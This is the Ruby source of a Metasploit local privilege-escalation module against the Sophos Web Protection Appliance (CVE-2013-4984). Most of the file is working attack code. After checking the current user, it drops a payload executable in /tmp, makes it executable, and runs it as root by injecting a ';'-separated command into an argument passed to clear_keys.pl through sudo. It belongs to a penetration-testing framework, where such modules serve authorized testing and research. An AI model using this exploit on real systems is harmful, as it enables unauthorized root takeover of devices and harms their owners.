adfoster-r7
98 lines
3.4 KiB
Ruby
98 lines
3.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Post::File
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def initialize(info = {})
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super(
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update_info(
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info,
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{
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'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation',
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'Description' => %q{
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This module abuses a command injection on the clear_keys.pl perl script, installed with the
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Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root".
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This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection
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Appliance web ui, executed by the "spiderman" user. This module has been tested successfully
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on Sophos Virtual Web Appliance 3.7.0.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Francisco Falcon', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'Platform' => [ 'linux'],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' => [[ 'Linux x86', { 'Arch' => ARCH_X86 } ]],
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'References' => [
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[ 'CVE', '2013-4984' ],
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[ 'OSVDB', '97028' ],
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[ 'BID', '62265' ],
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[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']
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],
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'DefaultOptions' => {
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'PrependFork' => true,
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'PrependSetresuid' => true,
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'PrependSetresgid' => true
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},
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'DefaultTarget' => 0,
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'DisclosureDate' => '2013-09-06',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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}
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)
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)
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register_options [
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OptString.new('clear_keys', [ true, 'Path to the clear_keys.pl vulnerable script', '/opt/cma/bin/clear_keys.pl' ])
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]
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register_advanced_options [
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OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
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]
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end
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def check
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if file?(datastore['clear_keys'])
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return CheckCode::Detected('Vulnerable clear_keys.pl script found')
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end
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return CheckCode::Safe('clear_keys.pl script not found')
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end
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def exploit
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print_status('Checking actual user...')
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id = cmd_exec('id -un')
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if id != 'spiderman'
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fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this")
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end
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print_status('Checking for the vulnerable component...')
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if check != CheckCode::Detected
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fail_with(Failure::NoTarget, 'The vulnerable component has not been found')
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end
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print_status("Dropping the payload to #{datastore['WritableDir']}")
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exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.elf"
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write_file(exe_file, generate_payload_exe)
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cmd_exec "chmod +x #{exe_file}"
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print_status('Running...')
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begin
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# rm the file after executing it to avoid getting multiple sessions
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cmd_exec "sudo #{datastore['clear_keys']} #{rand_text_alpha(rand(4..7))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(rand(4..7))}"
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ensure
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cmd_exec "rm -f #{exe_file}"
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end
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end
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end
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